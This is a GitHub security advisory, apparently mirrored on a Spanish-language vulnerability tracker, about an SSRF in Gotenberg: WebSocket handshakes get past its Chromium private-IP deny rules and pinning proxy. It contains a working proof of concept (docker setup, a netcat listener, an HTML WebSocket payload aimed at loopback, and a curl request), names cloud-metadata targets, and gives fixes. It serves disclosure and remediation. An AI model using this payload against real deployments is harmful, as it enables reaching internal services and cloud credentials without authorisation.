GHSA-XPQ6-FF62-H26H
Server-Side Request Forgery (SSRF) via WebSocket Handshake Bypasses Chromium SSRF Protection in Gotenberg
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.36.0 | github.com/gotenberg/gotenberg/v8 · -89 d desde divulgación | |
| Divulgación | Publicada | GHSA-XPQ6-FF62-H26H divulgada · CVSS 5.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Gotenberg's Chromium-level SSRF controls (--chromium-deny-private-ips, --chromium-deny-list/--chromium-allow-list) are enforced inside the CDP Fetch.requestPaused handler in pkg/modules/chromium/events.go. That event is never emitted for WebSocket handshakes, so any HTML/JS Gotenberg renders can open a `new WebSocket()` to an internal-only address with zero validation and zero logging.
Confirmed via `/forms/chromium/convert/html` with `CHROMIUM_DENY_PRIVATE_IPS=true` — Gotenberg's own documented hardening posture for internet-facing deployments. Other Chromium conversion/screenshot routes share the identical code path.
Details
The only place Gotenberg validates outbound requests from page-level JavaScript is `listenForEventRequestPaused` (`pkg/modules/chromium/events.go`):
chromedp.ListenTarget(ctx, func(ev any) {
if e, ok := ev.(*fetch.EventRequestPaused); ok {
go func() {
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline,
gotenberg.WithDenyPrivateIPs(options.denyPrivateIPs),
gotenberg.WithDenyPublicIPs(options.denyPublicIPs),
)
if err != nil {
allow = false
}
if !allow {
fetch.FailRequest(e.RequestID, network.ErrorReasonAccessDenied)
}
}()
}
})This wiring is identical for PDF conversion and screenshot routes (`browser.go`). Once `Fetch.enable` is active, Chromium pauses effectively every network request — except WebSocket handshakes, which never surface as `Fetch.requestPaused`. They only appear on the `Network` domain (`Network.webSocketCreated`, `Network.webSocketWillSendHandshakeRequest`), which Gotenberg enables but only consumes for telemetry, never for policy. A repo-wide `grep -rniI "websocket" --include="*.go" .` (excluding tests) confirms there is no WebSocket-aware enforcement anywhere else in the codebase.
Gotenberg also runs Chromium behind an internal DNS-rebind pinning proxy (`pkg/modules/chromium/pinning_proxy.go`), active by default when no custom `--chromium-proxy-server`/`--chromium-host-resolver-rules` is set — the configuration used below. This provides a second egress-control layer for HTTP(S) traffic. However, the WebSocket request in the PoC also bypasses this layer: with `LOG_LEVEL=debug`, the `pinning-proxy` logger shows no connection for `127.0.0.1:7777`, while the WebSocket handshake is observed by Chromium's `Network` domain and reaches the victim directly. This confirms that the WebSocket connection bypasses both the CDP `Fetch.requestPaused` enforcement and Gotenberg's default pinning proxy.
None of the currently published SSRF advisories (GHSA-rm4c-xj6x-49mw, GHSA-86m8-88fq-xfxp, GHSA-2pmr-289p-44r3, GHSA-jjwv-57xh-xr6r) target WebSocket — they all bypass the same `Fetch`-domain/regex checks that never see it to begin with.
PoC
docker pull gotenberg/gotenberg:8
docker run -d --name gotenberg-lab -p 3000:3000 \
-e CHROMIUM_DENY_PRIVATE_IPS=true -e LOG_LEVEL=debug \
gotenberg/gotenberg:8
docker run -d --name gotenberg-lab-victim --network container:gotenberg-lab \
alpine sh -c "apk add --no-cache netcat-openbsd >/dev/null && nc -lvk -p 7777"Gotenberg 8.35.0, Chromium 151.0.7922.71.
Control (`index.html`, proves the protection works):
<script>fetch("http://127.0.0.1:7777/control-fetch").catch(e => console.log("blocked:", e));</script>curl --request POST http://localhost:3000/forms/chromium/convert/html \
--form files=@index.html --form waitDelay=2s -o control.pdf`200 OK`, request blocked, logged: `WARN 'http://127.0.0.1:7777/control-fetch' targets a non-public address`. Victim `nc`: nothing.
Test (same target, WebSocket):
<script>const ws = new WebSocket("ws://127.0.0.1:7777/ws-test");</script>`200 OK`. Victim `nc` receives the full handshake:
GET /ws-test HTTP/1.1
Host: 127.0.0.1:7777
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: ON6QsrycN4HNrGr7Qoid8g==No `EventRequestPaused` for this request, no `WARN`, no log entry at all.
Impact
Confirmed: an attacker who controls HTML/JS rendered by Gotenberg (upload, template injection, or `convert/url` to an attacker-controlled page) can initiate TCP connections to internal hosts and ports reachable from the Chromium process — loopback, RFC1918, link-local, cloud metadata (`169.254.169.254`) — by dressing them up as a WebSocket handshake. Fully bypasses `--chromium-deny-private-ips`/deny-list/allow-list, no auth required, no log trace.
Plausible, untested: the attacker's own JS controls the DOM being printed, so a responding target could have its reply written into the page (`ws.onmessage`) before `waitDelay` elapses — turning blind SSRF into read/exfiltration against any internal WebSocket service.
Suggested remediation
- Listen for `Network.webSocketWillSendHandshakeRequest`/`EventWebSocketCreated`, run the same `FilterOutboundURL` check, cancel non-conforming handshakes.
- Do not rely on the existing `--chromium-proxy-server`/pinning-proxy path for WebSocket egress control. The PoC confirms that the WebSocket handshake does not reach Gotenberg's pinning proxy, so a proxy-only fix would not address this bypass. WebSocket traffic requires an explicit enforcement path.
- Stop-gap: shadow `window.WebSocket` via `Page.addScriptToEvaluateOnNewDocument` when deny/allow-list enforcement is on, and document WS as unsupported in SSRF-hardened mode until (1)/(2) land.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.36.0 | -89 d | v8.40.0 no afectada |
8.36.0v8.36.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-xpq6-ff62-h26hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
